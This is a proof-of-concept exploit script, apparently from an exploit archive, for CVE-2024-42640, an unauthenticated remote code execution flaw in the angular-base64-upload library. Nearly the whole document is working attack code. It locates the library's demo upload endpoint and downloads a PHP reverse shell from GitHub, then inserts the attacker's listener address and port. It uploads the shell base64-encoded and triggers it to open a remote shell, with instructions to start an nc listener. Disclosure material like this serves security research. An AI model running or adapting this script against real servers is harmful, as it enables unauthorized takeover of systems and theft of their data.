# Exploit Title: Angular-Base64-Upload Library 0.1.20 - Remote Code Execution (RCE) # Date: 10 October 2024 # Discovered by : Ravindu Wickramasinghe | rvz (@rvizx9) # Exploit Author: Ravindu Wickramasinghe | rvz (@rvizx9) # Vendor Homepage: https://www.npmjs.com/package/angular-base64-upload # Software Link: https://github.com/adonespitogo/angular-base64-upload # Version: prior to v0.1.21 # Tested on: Arch Linux # CVE : CVE-2024-42640 # Severity: Critical - 10.0 (CVSS 4.0) # Github Link : https://github.com/rvizx/CVE-2024-42640 # Blog Post : https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html # DISCLAIMER: # This proof-of-concept (POC) exploit is provided strictly for educational and research purposes. # It is designed to demonstrate potential vulnerabilities and assist in testing the security posture of software systems. # The author expressly disclaims any responsibility for the misuse of this code for malicious purposes or illegal activities. # Any actions taken with this code are undertaken at the sole discretion and risk of the user. # The author does not condone, encourage, or support any unauthorized access, intrusion, or disruption of computer systems. # Use of this POC exploit in any unauthorized or unethical manner is strictly prohibited. # By using this code, you agree to assume all responsibility and liability for your actions. # Furthermore, the author shall not be held liable for any damages or legal repercussions resulting from the use or misuse of this code. # It is your responsibility to ensure compliance with all applicable laws and regulations governing your use of this software. # Proceed with caution and use this code responsibly. #!/bin/python3 import re import subprocess import requests import sys import os import uuid import base64 def banner(): print(''' \033[2mCVE-2024-42640\033[0m - Unauthenticated RCE via Anuglar-Base64-Upload Library \033[2m PoC Exploit \033[0mRavindu Wickramasinghe\033[2m | rvz (ラヴィズ) - twitter: @rvizx9 https://github.com/rvizx/\033[0mCVE-2024-42640 ''') def enum(url): print("\033[94m[inf]:\033[0m enumerating for dependency installtion directories... ") target = f"{url}/bower_components/angular-base64-upload/demo/index.html" r = requests.head(target) if r.status_code == 200: print("\033[94m[inf]:\033[0m target is using bower_components") else: print("\033[94m[inf]:\033[0m target is not using bower_components") target = f"{url}/node_modules/angular-base64-upload/demo/index.html" r = requests.head(target) if r.status_code == 200: print("\033[94m[inf]:\033[0m target is using node_modules") else: print("\033[94m[inf]:\033[0m target is not using node_modules") print("\033[91m[err]:\033[0m an error occured, it was not possible to enumerate for angular-base64-upload/demo/index.html") print("\033[93m[ins]:\033[0m please make sure you've defined the target to the endpoint prior to the depdency installation directory") print("\033[93m[ins]:\033[0m for manual exploitation, please refer to this: https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html") print("\033[91m[err]:\033[0m exiting..") exit() version = next((line for line in requests.get(target.replace("demo/index.html","CHANGELOG.md")).text.splitlines() if 'v0' in line), None) print("\033[94m[inf]:\033[0m angular-base64-upload version: ",version) exploit(target) def exploit(target): print(f"[dbg]: {target}") target_server_url = target.replace("index.html","server.php") print(f"[dbg]: {target_server_url}") payload_url = "https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php" print("\033[94m[inf]:\033[0m generating a php reverse shell to upload..") ip = input("\033[93m[ins]:\033[0m enter listener ip / domain: ") port = input("\033[93m[ins]:\033[0m enter listenter port: ") print(f"\033[93m[ins]:\033[0m start a listener, execute nc -lvnp {port}") input("\033[93m[ins]:\033[0m press enter to continue...") print("\033[94m[inf]:\033[0m downloading php-reverse-shell from github/pentestmonkey...") response = requests.get(payload_url) if response.status_code == 200: php_code = response.text.replace("127.0.0.1", ip).replace("1234", port) # replacing default values with user input payload_name = str(uuid.uuid4())+".php" # using a uuid for payload name with open(payload_name, "w") as file: file.write(php_code) else: print("\033[91m[err]:\033[0m failed to fetch the php-reverse-shell.") print("\033[91m[err]:\033[0m exiting..") exit() with open(payload_name, 'rb') as file: file_content = file.read() base64_payload = base64.b64encode(file_content).decode('utf-8') headers = { 'Content-Type': 'application/json', } json_data = { 'base64': base64_payload, 'filename': payload_name, } response = requests.post(target_server_url, headers=headers, json=json_data, verify=False) print("\033[94m[inf]:\033[0m file upload request sent! [status-code]: ",response.status_code) updemo_endpoint = f"uploads/{payload_name}" print(f"[dbg]: {updemo_endpoint}") payload_url = target_server_url.replace("server.php",updemo_endpoint) print(f"[dbg]: {payload_url}") if response.status_code == 200: print(f"\033[94m[inf]:\033[0m reverse-shell is uploaded to {payload_url}") print("\033[94m[inf]:\033[0m executing the uploaded reverse-shell..") r = requests.get(payload_url) if r.status_code == 200: print("\033[94m[inf]:\033[0m process complete!") else: print("\033[91m[err]:\033[0m something went wrong!") print("\033[93m[ins]:\033[0m please check the listener for incoming connections.") if __name__ == "__main__": try: banner() url = sys.argv[1] print(f"\033[94m[inf]:\033[0m target: {url}") enum(url) except: print("[usg]: ./exploit.py ") exit()